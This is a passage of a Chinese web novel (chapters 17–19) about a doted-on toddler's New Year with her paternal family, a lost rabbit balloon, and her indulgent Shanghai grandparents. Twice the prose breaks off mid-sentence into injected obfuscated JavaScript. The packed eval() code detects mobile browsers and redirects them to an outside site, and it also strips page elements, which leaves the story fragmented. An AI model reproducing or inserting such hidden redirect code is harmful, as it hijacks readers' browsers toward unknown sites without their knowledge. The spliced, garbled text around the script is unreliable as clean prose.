她一蹦一跳的,脸上有一种酝酿了很久的纠结与庄重。 “三伯,我要和你说一个话。” “哦?是什么呢阿婧宝宝?” 她低着头看着脚下的鹅卵石路,瓮声瓮气地试图说清楚自己的想法:“我也说了,让阿澈哥哥和阿熠哥哥带我出去玩,所以你应该也要打我的手心。” 蒋彬听出点别的意思,拉停了小人,蹲下来询问:“怎么突然这样说?是不是妈妈说你了?” 蒋婧点点头,第一句说出口,后面的话就没有什么负担了。 “我让阿澈哥哥和阿熠哥哥被打了,我没有被打,就不好。” “让妈妈生气了,也不是好孩。” “我要给阿澈哥哥和阿熠哥哥道歉,还要给三伯道歉。” “还要以后不自己乱跑。” 蒋彬聚精会神地听着小丫头努力表达自己的想法,心下软的一塌糊涂。 他摸摸她的脑袋“好乖嘛,三伯听懂阿婧宝宝的意思了,你的道歉,三伯也收到了。” “阿婧知道不能独自出门,今天的这件事就很有意义了。” “你要知道,小宝贝,你的平安,你的健康、快乐,是我们全家人最大的心愿,以后做什么事,首先要保证自己是安全的,明白吗?” 她点点头,安静地注视着蒋彬,不知道为什么自己又鼻子酸酸。 “至于两个哥哥嘛,阿婧不用放在心上。哥哥本来就是要保护妹妹的,要是做错了事还要让妹妹来承担,算什么男子汉!” 蒋彬刮了下她圆翘的鼻头,把她抱起来:“好了,走累了吧?三伯带你去睡个午觉!” * 夜里吃完年夜饭,一家人围坐在一起看着春晚守岁。 一直到零点过去,大家才方方起身回各院休息。 蒋婧趴在沙发上已经迷迷糊糊睡了一觉,小脸被暖气温得俏红。 蒋源本想平稳地抱着她,让她睡,结果小家伙半路就醒过来了。 蒋婧睁开眼,路灯隐在梅花丛里,随着脚步的移动,晕出玫红色的光晕。她觉得好看,偏着脖子呆呆望了一会儿,清醒了一些。 侧过头,她又望着牵着哥哥走在爸爸身边的妈妈,试探地软声开口:“妈妈?” “怎么了?” 感知到妈妈恢复了以往温柔似水的语气,她微微放下心来,有些撒娇的甜腻:“你可以抱我一下吗?” 蒋源对闺女心思了然,含笑把闺女给了妻子抱,自己牵起蒋怀谦。 闻到妈妈身上熟悉的香气,蒋婧小心地把小脑袋靠在她的肩上,安静地体会此刻的温暖。 几秒后,温热的泪水无声在她脸颊落下。 “妈妈,你是因为喜欢我才生我的吗?” 程与英步子一顿,心中霎时涌过千万思情愁绪,她哑了声音,抱紧了女儿。 “妈妈最喜欢你,最爱你,当然是因为喜欢你才要生你呀。” “怎么了,宝贝?”她久久不说话,程与英又担心地问道。 蒋婧摇摇头,搂紧她,声音细如蚊地说道:“对不起妈妈,你别不理我。” 程与英眼里蓄了泪,用侧脸蹭蹭她娇嫩的小脸蛋,柔声说道:“妈妈也对不起。” 17. 第17章 年初一是自家团聚、给本家长辈拜年的日子。清晨祭祖结束、和长辈们拜年完毕,一家人又喜乐无穷地用了早餐。 接着,就到了一年一度给孩子们量身高的环节。 这事儿源于小时候蒋熠调皮,在餐厅外的回廊木柱上比着自己的身高画了一道横线,被蒋彬狠狠揍了一顿。 后来蒋礼雄干脆就用这根柱子来记录孩子们的身高。 蒋彬拿着长尺给他们测量,先是直瞪瞪地看了看大侄子的身高,猛听他吃惊道:“呀!斯承你这都有176cm了!窜的真快,去年才166cm呢!” “不错,大高个了已经!”蒋彬拍拍他的肩膀,笑道。 “明年会长更高的,三叔。” “那是,看你这劲头儿,是要奔着一米九去了!” 接着是蒋怀谦和蒋向恒,两人相差不大,一个165cm、一个167cm。中间的蒋斐轩则是150cm。 蒋彬仔仔细细地在横线边刻上每个孩子的年龄和身高。 “来吧,阿熠小子,让你爹瞅瞅你去年有没有长高?” “120cm,还行,比去年长高8厘米,多吃点,继续长。换你哥来!” “哦哟,你俩不愧是双胞胎,个子都一样,阿澈小子也是120cm。” 蒋彬写好一边刻自家两个儿子的数据,一边突然夹了声音唤道:“下一个要被量身高的小宝贝是谁呀~” “我!是我了吗?”蒋婧趴在回廊的坐椅上安静地看了半天,又眼红又期待,这会儿早默默爬下来,乖乖等在了蒋彬身后,举着手一跳一跳地宣示自己的顺序。 她穿着镶了毛绒领的对襟棉服,下面搭着及膝的改良百褶马面裙,一双造型生动的虎头鞋,发型又梳成红绳扎的两个花苞头,小小一只,看起来像个年画娃娃似的。 她脑袋圆圆,脸也圆圆,眼睛也圆圆,一双乌黑发亮的葡萄眼里满是期待地盯过来,乖得让人心颤。 蒋彬瞬间露出怜爱惨了的神态,蹲下来环住她:“我们阿婧宝宝怎么这么可爱啊,要把三伯可爱晕了。” “那你可以先给我画了这个再晕吗?三伯?可以吗?” 蒋彬乐不可支,亲亲她糯米团子一样的脸颊肉,牵着她站到柱子前。 “当然了,三伯亲亲小宝就不晕了。来,你过来,哎,慢点慢点。把你的小背背贴到柱子上,好,对,就是这样。” “不仰头哈,乖乖,直视前方。” 蒋婧正襟危站,脸上有一种存了兴奋的使命感,像是在做一件很重要的大事似的,挺直腰背,并拢双脚,眨着眼睛直直地看向蒋彬的胸口。 正在围炉烤火喝茶的程与英和常蕙都被萌翻了,一人抓着个手机给她拍照。 “阿婧宝,今年刚刚90cm!”蒋彬放下长尺,把蒋婧抱在自己腿上,让她看着自己落笔刻字。 “这是我的!”蒋婧点了点那条线。 “对啊,等明年这个时候,三伯再来给阿婧宝宝量,你就会长到这条线之上了。”蒋彬说着,不知道为什么有些难过。 他抱起蒋婧,小幅度地望空中抛了抛,望着笑的一脸天真烂漫的孩子,不由得惆怅地说道:“时间要慢一些,阿婧要慢一点长大。” “三伯,你多拍拍我,多拍拍我我就长不大了!” 蒋彬笑的眉目舒朗,配合地拍拍她的小脑袋,说道:“可不兴这样,阿婧宝宝要多吃饭饭,要长高高!” * 在家闲了一早上,午后,妈妈们结伴出门逛街去了,爸爸们则决定带着孩子们去逛逛庙会。 京华巷区举办庙会的传统悠久,繁华的街道上张灯结彩,游人如织,步行街两边汇聚了众多老字号店铺,身临其中尽是热闹欢腾的人间烟火气息。 蒋铮身形高大,鹤立鸡群地走在人群中,稳妥而全包围地抱着蒋婧,既能让她的视线不被遮挡,又杜绝路过的行人碰到小侄女的任何可能。 蒋婧目光梭巡过琳琅缭乱的画面,一张雪白嫩滑的小圆脸上表现出兴奋的表情。蒋铮打量着,漾出一抹温柔的笑。 “你高兴吗?小婧?” “高兴!” “高兴就好。大伯抱着你,你想看什么,想买什么,你就指挥我。” “好~” “大伯,这个是啥?” “这是小鱼灯,大伯买一个,给你拎着玩。” “大伯,那个呢,那个是啥?” “这是绒花发卡,喜欢吗?买一个好不好?大伯给你别上。” “大伯,我想吃糖葫芦棒棒糖。” “好,来。能拿得动不?” “能~” “大伯,这个又是啥?” “这是泥塑,想要一个吗?大伯抱着你,你挑一个。” 蒋斯承和弟弟走在爸爸身后,全程听下来,都有些面色难看。一个有些怨气,一个有些自怜。 “娇里娇气的,不知道有什么好依着的。” 蒋斐轩注视着不远处高兴地挑着氢气球的蒋婧,中肯地说道:“小婧妹妹长得可爱,所以才能被爸爸喜欢吧。” “肤浅。说来说去,只是因为她是个女孩子。”蒋斯承轻微地扯了一下自己的嘴角,扭曲成一个怪异而冰冷的讥讽神情,旋即消逝不见。 他看见父亲用胡茬去蹭蒋婧的脸,那小人在父亲怀中扭着身子咯咯地笑。 父亲无疑对她极尽耐心和宠爱,蒋斯承的目光晦暗不明,只觉得自己父亲朗朗传来的笑声,在他耳中听来,却尖锐得刺人。 五颜六色、形状各异的氢气球下,蒋婧鼓着脸纠结,仔细地选了好久,最后要了一个小兔子的气球。 蒋铮付了钱,勾着氢气球的线蹲到她面前。 小丫头实在是太开心了,在原地跳了好几下,眼里闪着光,看着头顶的气球几乎挪不开眼。 蒋铮看在眼里,心里充斥着满足小侄女后带来的柔情蜜意的喜悦。 他把氢气球的线缠在了蒋婧衣服胸口处的纽扣上,检查了几遍,确定牢固后,松开了手。 “好了,这样气球就不会飞走了。” 氢气球绑在蒋婧身上,随着她的移动跟着移动。把它拽下来,它又会自己飞上去。 蒋婧第一次玩到这样的气球,简直喜欢疯了,扯着氢气球的线,绕着蒋铮跑了又跑。 她扬起头抱住蒋铮的腿,笑颜如花,甜兮兮地说道:“谢谢你,大伯,我特别特别特别喜欢这个气球!也特别特别特别喜欢你!谢谢你大伯,你是世界上最好的大伯!” 蒋铮笑意自眼底漫出来,淹没了整张脸,被小侄女主动亲了一口的时候,甚至透露出了几分痴憨和恍惚。 “你喜欢,大伯也高兴!是不是和大伯天下第一好?” “是!” * 因为逛庙会人太多,分散开来,几兄弟是陆陆续续各自回的家。 蒋铮带着小侄女和两个儿子,是最后一波回来的。一进门,蒋婧就欢欣鼓舞地跑到客厅,忍不住和蒋熠炫耀道:“蒋熠,你看!大伯给我买了会飞的气球!” 收到他艳羡的注视礼,蒋婧心里愈发喜滋滋。 “你去哪里买的?我都没有看到!” “在最里面的地方,你们走的和我们不是一个路,所以你没看到。” 蒋熠哭丧着个脸,开始对爸爸发难:“我爹!都怪你懒,要是再多走一会儿我们就也能买到气球了,我也想要会飞的气球!” “嘿你小子!还怪我懒,是谁赖在套圈摊位那死活不肯走的?这锅你爹我可不担!” 蒋熠气恼地哼哧了一声,去磨院子里独自玩着气球的人:“蒋婧,你给我玩一会儿!” 蒋婧灵活地躲开,保护着自己的气球,清脆地说道:“你不能碰,万一我的气球飞了怎么办?大伯说了要小心不弄松线,不然气球就会飞的。” 蒋熠抓住她的手,软了语气说道:“我不碰你的气球,我想你明天陪我再去今天那里买一个。” “好啊,明天我们再一起去!”蒋婧果断答应。 见他面上看起来不开心,她又有些不忍心,于是把缠在自己手上的线递到他手里:“那给你玩一会,我教你,你把它这样扯下来!它就会又飞上去!” 蒋婧兴冲冲地说道:“我想给我的气球取个名字,你觉得叫什么好?” 蒋熠抬头看了看气球,给她出主意:“叫小粉怎么样?” “好!就叫小粉!” 蒋熠立马又开心了起来,两个人一人扯一次,玩的不亦乐乎,直到被大人抓去吃饭才作罢。 饭后,大人们去后院打球去了,正院里只剩蒋婧和奶奶。 “婧丫,奶奶去看看熬的吊梨汤,你乖乖地不许乱跑哦,奶奶马上回来。等会我们把煮好的吊梨汤带上,去看你爷爷他们打球。” “那我可以在院子里玩吗?” 宋玉春闻声又转过来,笑意绵绵地嘱咐:“就在院子里面可以。奶奶把吊梨汤装好就回来。” “好,我就在这里玩,奶奶。你去吧奶奶!” 院子里有今天蒋彬给她用粉笔画的跳房子的游戏,蒋婧手里拽着气球线,一个人跳来跳去,自娱自乐。 蒋斯承被派来喊他们,一进门却只看见她一个人。 蒋婧甜甜地叫他:“斯承哥哥!” “奶奶呢?” “奶奶去拿什么什么汤去了,她说马上就回来!” 蒋斯承没有说话,小跑着过来,他还微微喘着气,在一边的桌椅坐下休息。 蒋婧牵着气球,眉眼弯弯地朝他挥挥手,乐淘淘地问:“斯承哥哥,你要不要来和我一起玩跳房子?” 蒋斯承没有应他,只是目光沉沉地看着她。 蒋婧等了一会儿,见他没反应,觉得没趣,又自个玩起来。 蒋斯承立在厅堂灯光和夜幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋玉春拎着打包好的茶点和小吊梨汤过来,朝小小一只、四肢伸开趴在地毯上的蒋婧说道:“婧丫头,走了,我们过去球场那边。” 蒋婧吸吸鼻子,装作若无其事地过来牵住奶奶地手,又去摸了摸篮子的底,说道:“奶奶,重不重?我帮你提一半。” “不用啦宝贝,我们坐摆渡车,放车上,不重。” 走了两步,宋玉春“哎”了一声,问道:“婧丫,你身上绑着的气球呢。” 说到气球,有生以来所有的伤心情绪就又涌了上来。 蒋斯承的余威仍在,蒋婧拼尽全力憋着泪意,声音飘飘的,万念俱灰地说到:“奶奶,气球飞走了。” 她指了指天上漆黑的苍穹。 宋玉春连忙蹲下来看她。 院子里灯光不亮堂,但她还是看出来孙女哭过的痕迹。心疼地搂着孙女哄了哄,宋玉春给她承诺道:“没关系,婧丫头,明天奶奶带你去买一个新的,好不好?” 蒋婧克制了再克制,还是没能忍住夺眶而出的眼泪。 她胸膛上下起伏着,一抽一噎地哭泣:“可是...可是奶奶呜呜呜....新的气球也不是我的小粉了...它一个球在天上呜,肯定会很害怕...天上那么黑,只有它一个兔球呜呜呜 它肯定会怪我没有保护好它....” 宋玉春看着哭的可怜兮兮的孙女,心疼得要命,在原地哄慰了好久,才总算把她哄得不再落泪。 牵着孙女到了球场,宋玉春特意悄悄地嘱咐其他大人们:“你们等会别问婧丫头身上绑着的气球哪去了啊,刚刚玩的时候不小心把气球弄飞了,这会还在难过呢,好不容易哄了不哭的,别到时候一问又把她问难过。” 大人们都应了下来。 蒋铮休息的空隙过来,揉揉她的脑袋,说道:“小婧,等你从外公外婆家回来,大伯又带你去逛庙会,买很多个小兔气球,好不好?” 蒋婧拍着儿童篮球玩,闻声把球抱在怀里,闷闷地说道:“大伯,我不去了。我不用买很多个小兔气球了。” 说着,她又想到了什么,很急地对大伯说道:“大伯,但是你要记得带阿熠哥哥去买一个,你明天就要记得带他去!” “好好好,大伯记下了。”蒋铮连连点头,观察着她的表情,又问“小婧的心情不好吗?” 她瞥了眼不远处球场里望过来的蒋斯承,摇摇头,扯出一个笑容,推推他:“没有,大伯。你去打球吧,我也要和阿熠哥哥去打球了!” 蒋铮搂搂她,安抚:“行,玩去吧。要是有不开心,一定要记得和大伯说。” 她迟疑地点点头。 大伯又进了球场,蒋婧转身爬上观看的阶梯,凑到了在和蒋向恒、蒋斐轩玩拍卡片的哥哥身边,抱住了他。 蒋怀谦停了游戏,低头看她:“妹妹?” “嗯?”她笑嘻嘻地抬头。 蒋怀谦便抱了她在怀里,让她看着他们玩。 蒋婧窝在哥哥怀里,抬头看着稀疏几颗星星闪烁的天空,模样认真。 就这样看了很久,看着看着,她就渐渐睡了过去。 18. 第18章 孩子常住北城,因而两家亲家商量好,寒假剩余的时间,就让两个孩子到外家去呆着,与外公外婆亲近亲近。于是大年初二,蒋源一家启程飞往沪上拜访丈母家。 京沪线客运方便,一家人搭乘头等舱很快抵达沪上机场。 程若华和父亲早就在接机口等着,见一家四口出来了,程父立马迎了上去,喜出望外地喊道: “乖囡囡,还记得外公吗?” 蒋源拍拍闺女的小屁股,提醒她:“宝贝,醒醒,外公来了。” 蒋婧在飞机上睡得一塌糊涂,这会儿被爸爸抱着,趴在肩膀上还没完全苏醒,眯着眼睛,嘴巴比脑子更快一步地喊着“外公好~祝你新年快乐、身体健康!” “好好好,外公看到你就可快乐了!”程宣年激动地从女婿怀里接过外孙女,掂量了一下,眉眼舒展地笑道:“才半个月没见,婧丫头又长沉了些!” 蒋婧12月底过生日时,他和老伴儿去了一趟,故而对她来说,外公并不算陌生。 -“外公,我没有长沉,我只是长圆了。” -“哦?哪里圆了?” -“肚子圆了。” -“外公摸摸看,没有嘛,婧婧崽的肚子扁扁的,等会回到家,我们吃多多的,把它填满!” -“外公,可是你们家有什么好吃的?我不吃不好吃的东西。” -“婧婧崽想吃什么,外公家都有!” -“我想吃冰淇淋!” -“这么冷的天还吃冰淇淋呐?” -“嗯啊!我戴上手套吃就不冷了。” 蒋怀谦牵着外公的手,打消妹妹的念头:“不可以婧儿,你来的时候就已经在候机室吃过雪糕了。” “可是我只吃了一口!”蒋婧悲愤地说道:“剩下的全被爸爸吃了....” 程宣年抱着一个,牵着一个,面上乐呵呵的,哄着两个孩子:“好好好,没事,沪上有数不清的美味冰淇淋,婧婧崽和哥哥在这多呆一阵子,外公带你们去吃个够!” “好耶!” 程与英和姐姐在后面聊了几句家常,一边走一边对前面趴在外公肩膀上的女儿说:“婧儿,这个人是谁?还记得吗?” 程若华不像程父程母,动不动就飞北城去看外孙女,她接班了家族企业后,忙得跟个陀螺似的,全年也就春节这几天能喘口气。 和外甥女上一次见面,还是上一个春节。 为了维持女霸总人设,她贯来不苟言笑,此时被介绍,不知道怎的有些莫名的紧张。 她朝前面的小女娃露出了一个自以为最友善的笑容。 而在蒋婧的视角,这个人个子比妈妈还要高一些,从头到脚一身黑,黑色羊绒大衣,黑色西装阔腿裤,黑色长发利落地盘在脑后,此时浅淡一笑,反而给她英气凌厉的五官增添了几分古怪,像是动画片里的反派大佬出大招前的严酷冷笑。 “不认.....”她呆头呆脑地盯着人看,见程若华忽然发笑,心里有些怵,又幅度小小的摇摇头“其实有一点点点眼熟...” 程与英捏捏她的脸,引导着:“是姨母!见到姨母要说什么?” 这题她会! 按照背好的拜年词,她炮语连珠、口齿伶俐地说了一串:“姨母新年快乐!祝您幸福如意、笑口常开!身体健康!恭喜发财!” “谢谢,姨母等会给你包个大红包。”程若华嘴角又扬了几度,朝外甥女点点头,对妹妹说道:“这小娃娃当真是长得快,转眼就能对答如流了。” 程与英夸自己孩子从来不留情,这会又回到熟悉的家乡,切换出方言模式,眉飞色舞地说道: “依讲言话能力叫关好!大人搭伊讲闲话辰光,伊回得清清爽爽、煞煞辣辣,有些词语真勿晓得伊啥地方学来呃,讲出来闲话一套一套哈!阿拉还帮伊请了位外语家教老师,老师对伊评价邪气高,学英文快是快得来!” “旧年送去学芭蕾舞了呀,老师也讲伊有天分,讲伊吃得起苦,天生有跳舞感觉!” “哦哦哦对呃呀,伊勿是还跟了爷爷学国画搭仔书法嘛?满打满算也才一年光景,现在画出来呃画、写出来呃字,全部有模有样,像腔呃噢!” “性格也乖,从来勿会瞎吵瞎闹,大人搭伊讲道理,伊总归听呃进呃。还来得个窝心,哎呀,总之好讲呃地方讲勿光呃!依搭伊接触接触,就晓得依外孙囡呃好处了。” 蒋婧竖着耳朵听着身后妈妈的声音,皱着眉头急急地说:“外公,妈妈怎么不会说话了?” 程宣年哑然失笑,给她翻译:“妈妈在夸宝宝呢,夸你聪明、懂事,说话说得好,跳舞跳得好,画画写字也好,又乖巧听话,是最棒的小宝贝!” 她越听嘴巴咧得越开,露出白糯的小乳牙,仰起头笑得一脸骄傲地说道:“外公,我原来这么好孩,我可厉害死我了!” * 枫檀苑是程氏自家的房产项目,位于寸土寸金的东郊别墅区。整个庄园内只规划了21栋每亩占地5亩的独立别墅,程父程母住了其中最大一栋,并特意将周边的两栋留给两姊妹,为的就是能让一家人能在各有空间之外还能聚集在一起。 程与英的那栋鲜少去住,只是拜托管家照应着。姐姐程若华接班家族企业,住这离公司太远,实际上大部分时间都在市中心的江景公寓。也就逢年过节的,一家人在爸妈这聚起来。 一行人回到宅子时,程母正和家里阿姨们把做好的菜摆放到饭桌上,听到声响暂且放下手里的活来到客厅。 大人们你一句我一句地寒暄起来。 梁韵生招呼道:“你们是到的刚刚好,这饭刚做好,快来快来!”说完,她又蹲下来张开手臂,望向换好棉拖鞋,因为喜欢鞋子上会晃动的小球,好奇地左一踩右一踩的蒋婧。 “是哪个漂亮阿囡来了呀~ 快过来,让世界上最香的小宝贝和外婆抱一下!” 蒋婧脸上闪过短暂的局促羞涩,爸爸推推她:“怎么了?是外婆呀?过去抱抱外婆。” 她小跑着扑过去,带了一阵小幼儿独特的奶甜味儿。梁韵生笑弯了眼,搂紧了她说到:“外婆好想你,你有没有想外婆?” “有的,外婆。”她纯然懵懂地抬眼看她,细声细气绞着手指说道。 外婆抱着她洗手落座,蒋源见闺女还是有些因为拘谨而故作的文静,提示她:“婧儿,新年来外公外婆家,你得先和他们认认真真拜个年,是不是?” 蒋婧比了个ok的动作,觉得自己矮人一等不得劲儿,又两只脚互相动着,把鞋子扒拉掉,扶着椅把站起来。 这下比在座的人都高了一些,她才准备就绪地双手握拳拢在一起,有节奏地上下颠着,麻木地朗诵起不知道表演了多少遍的拜年词: “外婆好,外公好,姨母好,大家好!祝你们一帆风顺、二龙腾飞、三阳开泰、四季平安、五福临门、六六大顺、七星高照、八方来财、九九同心、十全十美!新年快乐!千事吉祥,万事如意!小婧在这里,给你们,拜!年!了!” 众人慈爱地看着小糯米团子小小一只站在椅子上拱手晃脑地说出一串词,被萌得嘴角压不下来,每人都欢欢喜喜地给了厚厚一沓的大红包。 蒋婧非常熟练地收下,飞吻:“谢谢你们给我红包~我爱你们~” 程若华被她逗笑,也给她做了一个飞吻。 蒋婧无实物表演了一个捕捉的动作,然后捂住胸口,奶声奶气地说道:“我抓到你的亲亲了,姨母!” 蒋源怕她摔倒,一直在后面虚扶着,这会儿也乐开怀,抱了她坐好,又亲了亲她,微笑着夸赞:“婧儿做的真好,哥哥呢?哥哥是不是也准备了?” 蒋怀谦一身小西装,小小年纪却可见气质沉稳斯文,他举止大方得体地起身鞠了一躬,用清晰、不急不慢的语调说: “外公外婆,若华姨母,还有爸爸妈妈,婧儿妹妹,新年好。辞旧迎新之际,我祝大家在新的一年里,身体健康,笑口常开,平安顺遂。谢谢大家过去一年对我的疼爱和照顾。” “好好好,都是好孩子!”程宣年递出一个厚厚的红包,和蔼地拍拍他的头:“新的一年,继续好好学习,天天向上!” 因为孩子的到来,春节的氛围愈发喜气洋洋。 家宴做的尤为丰盛,满满一桌子的大鱼大肉。沪上菜系偏甜,蒋婧难得的一口气啃了2块糖醋排骨。 外婆给她喂饺子,她摇摇头:“外婆我吃饱了。” “你就吃了两块这么小的排骨,就吃饱了?” 她点点头,悄悄地观察了下爸爸妈妈的眼色。果然,妈妈装作不高兴地发话了:“婧儿,再吃3个饺子。” “我只能吃1个了,我吃不下那么多。”她伸出一根手指比划到。 “那你自己选,要么吃3个饺子,要么吃半碗米饭。” 蒋婧朝外婆撒娇:“外婆,我不想吃了,好不好?”,又摇了摇左边坐着的外公:“外公,我吃饱了,你把我放下去,我想过去那边玩,好不好?” 程宣年俯身贴近外孙女询问:“真的吃饱了?你的肚子这么小?” 蒋婧重重地点头,拍拍自己的肚子:“真的吃饱了,我的肚子就这么小。” 她如愿被外公抱了下来,和各位长辈乖乖说了:“您们慢慢吃”后,迅速地跑到了客厅的玩乐区。 那是知道外孙女要来,外公外婆特意根据她喜欢的玩具布置的。 “爸,你这样惯着她,到时候更是有恃无恐。” “小孩子嘛,不饿就别逼着她吃,饿了再喂就行。”程宣年吃着饭,还记挂着外孙女,时不时转过去看一看骑在摇摇椅上看动画片的小人儿。 程与英远远瞥见闺女在拿茶几上的果冻,扬声一句“婧儿,你在干什么?”,直接吓得她缩回了手。 蒋婧心虚地推了推精美丰富的小食盒,说道:“它要掉下去了妈妈!我救一下它,你还得和我说谢谢的。” 程与英哭笑不得,继续隔空与她沟通:“妈妈怎么说的,一天只能吃一袋零食,你今天早上起床的时候就已经偷偷多吃了半袋旺仔小馒头了,早饭是一点吃不下。在机场候机室里又吃了半个雪糕,今天不能再吃零食了,听见了吗?能不能答应妈妈?” 蒋婧叹了口气,幽怨地从摇摇椅上趴下了,摊在了沙发上,回答了一声“能。” 蒋源不放心,起身过来,撑着沙发拍拍她,温和发问:“是不是没吃饱?再过来吃点饭好不好?” 蒋婧目不转睛地看着电视,摇摇头:“婉拒了,爸爸。我已经变成了一个饱了的宝宝。” 蒋源莞尔,捏捏她的鼻子:“小鬼头。” 饭桌上,程与英说起闺女不爱吃饭的事,看得出很是苦恼。 “我是不理解的,怎么会有小孩不喜欢吃饭的?她那几个堂哥,哪个吃饭不是香喷喷的,就她一个,每天吃饭像让她上刑一样,磨蹭半天吃不进去一口。” “而且学校体检下来,她体型偏瘦,我担心她营养不够!” “爸妈,我先跟你们说好了,你们带她,带归带,零食绝对不能由着她吃,必须养成好好吃饭的意识。” 外公外婆应得干脆:“是这个理,我们晓得的。” 结果第二天,程宣年带着两个孩子出门逛超市,提回来有蒋婧身高那么大的5大袋零食。 程与英见了,人都傻了,询问儿子:“小谦,不是让你管着妹妹让她少买点吗?” 蒋怀谦很深沉地叹了口气,说道:“妈妈,事实证明,外公是听不进去我的规劝的。婧儿想要什么,一个眼神,外公就都给买了。” 厨房嵌入式的大冰箱前,程宣年蹲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189336|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边,笑眯了眼看外孙女娇娇小小的一只,前后来回打转,一个又一个地往冰箱里摆放买回来的雪糕。长久的专注的凝视,漫延出绵绵的宠爱。 “囡囡太能干了!棒冰摆得嘎整齐,侬阿冷不冷?让外公帮侬摆剩下的,好伐?” 和外公呆半天,蒋婧已经被教会掌握了一些沪话,学着拉长尾音说道:“勿要哟~我自己的雪糕自己放。” 放完一盒子里只剩两个,她下意识地瞥了眼正在和哥哥讲话的妈妈,悄悄移了步子背对他们。 以最快的手速拿了一个塞到外公手里,又拿了一个塞进自己的口袋,蒋婧一本正经地说道:“外公,你吃一个,我吃一个,我们就是天下第一好了!我们来这里吃,不要让人看到了,不然馋到他们就不好了。” 程宣年被哄得心花怒放,自顾自地笑着说道:“侬搿个小囡啊,真个是老会心疼人了,外公喜欢侬喜欢的勿得了!” 两个人躲在储物室里,隔绝了外面。蒋婧顺利而放心地吃上冰淇淋,眼睛弯成小月牙,学他:“喜欢侬喜欢的勿得了!” * 饭前一根雪糕下肚,蒋婧晚饭又是没能吃下几口。 程与英再一次朝自家父亲重申:“爸,你不要给她吃这么多零食了,今天是一点饭没吃,净吃零食了。” “你别剥夺小朋友的快乐!人这一生,也就小时候吃零食最快乐吧?你小时候不也是个馋嘴零食的娃?” “那也得注重营养啊,小孩又不是靠喂零食长大的!” “我怎么没有注重营养,我给她买的棒冰,都是认真看过配料表的,纯牛乳,不含其他添加剂。”程宣年挥手说道,也有些激动。 “哎哟,管娃三百六十五天,你让自己休息一下,这几天就把孩子交给我来带,绝对养的面色红润、活蹦乱跳!你莫管了!你就和你姐姐,出去玩玩买买,账全报你爸爸我身上!” 程与英拿自己爸爸没办法,小时候他就极宠她和姐姐,现在宠起外孙女来,更是有过之而无不及。蒋婧刚出生时,要不是亲家太强势没能谈下来,自己女儿又向着丈夫,程父是想让她跟着妈妈姓的。 和外孙女聚少离多,她能理解爸爸想多对孩子好点的心情。她无奈地妥协了一步:“好好好,我不说了。侬照顾伊可以额,自家要掌握好分寸。” * 回沪第三天,外公外婆和爸爸带了两个孩子去迪士尼,两姊妹去参加闺蜜聚餐。 先回到家,程若华有些不习惯地说道:“没了小朋友在,感觉家里怪冷清的。” 程与英喝了口水,翘着二郎腿疲惫地坐下,说道:“我给源哥儿打个电话,问问他们什么时候回来。” 话音刚落,门口就传来声响。 司机和几个随行的保镖、家政从车里搬出了3个体积硕大的实木盒子,又一次次地来回挪动,搬出了十几个印着迪士尼乐园标识的大型购物袋,在家门口堆成了山。 程与英扶着头闭上眼睛,对姐姐说道:“我真服了,这是要干嘛?” 程若华挑眉:“如你所见,大手笔外公宠娃现场。” “不是,我们小时候他也没到这程度啊?” “相信我,隔代亲,是要比亲女儿亲的。” 程与英蓦地一摇头,然后表情迅速归于一种“算了,没必要”的平静。 蒋婧头上戴着卡通小兔发箍,身上一个粉狐狸头背包,背包上拴着10个双层气球,一左一右斜背着两个胡萝卜小挎包,手里还抱了两个玩偶,兴冲冲地跑过来。 “妈妈!姨母!我给你们买了礼物!”她从小挎包里掏出两个粉色首饰盒,递给她们。 是两条人鱼尾带着珍珠的项链。 程若华当即就让外甥女给自己戴上了,手掌捧着她的下巴,说道:“姨母谢谢你。” 蒋婧抱着玩偶,有些扭捏地抿唇一笑,脸上红扑扑的,眼里像藏了钻石,亮晶晶的。 程与英一声短促的呼气,笑着问她:“蒋小婧,你今天去批发气球去了?” “对啊,因为我和外公分享了我最近的伤心事,然后外公就把我想要的气球都给我买了。” “你最近哪来的伤心事,我怎么不知道....哦,对对对,你那个飞掉的小兔气球....” “.........行。”程与英皮笑肉不笑地点点头。 三个大人的头上都戴上了蒋婧选的发箍,站在一起颇有些滑稽。程与英嘴唇张了又合,最终只是化作一声极轻的、几乎听不见的笑声。 她拉过同样带了棕色小熊发箍的蒋怀谦询问:“小谦,来吧,和妈妈说说,今天是个什么情况呢?” 蒋怀谦已经对外公的无底线宠爱免疫了,语气很是平淡地说道:“今天没哭闹没喊累,吃了3个冰淇淋,免排队玩了12个项目,买了3个水晶城堡模型,无数个玩偶,无数个纪念品。” “没什么大事情,唯一值得注意的,是其中一个城堡,卖价180万。爸爸想阻拦,但无效。” 这些倒也没什么,程与英关注的还是吃了零食没吃饭,拎住闺女的小马尾,拷问她:“是谁早上出门前答应我的,今天绝对不吃冰淇淋?” 蒋婧连连摇头,举起手申辩道:“不是的,不是的,妈妈,我今天没有吃冰淇淋!是一个可琦安圣代,一个爪爪棒冰,一个小熊□□罐头!” “这些不是冰淇淋?” “它们不叫冰淇淋,它们叫可琦安圣代、爪爪棒冰、小熊□□罐头!菜单就是这样写的,外婆教我读的,不会有错!” 程与英咬牙切齿地笑了笑,把蒋婧狠狠箍在怀里揉了揉她粉嘟嘟的脸,小家伙以为妈妈在和自己玩,笑的天真无邪。 “蒋婧,很好啊,很好。等你回北城我有的是法子收拾你,开学后一个月你不要再想吃到一口冰淇淋。” 19. 第19章 夜里,蒋怀谦做了个妹妹消失的梦,霎时惊醒,伸出手想去抱人,手臂摩挲了一阵,怀里当真是空落落的。 他一身冷汗,彻底惊醒,敲亮床头灯,原本应该还有个小奶团子的大床上,只剩他一个人。 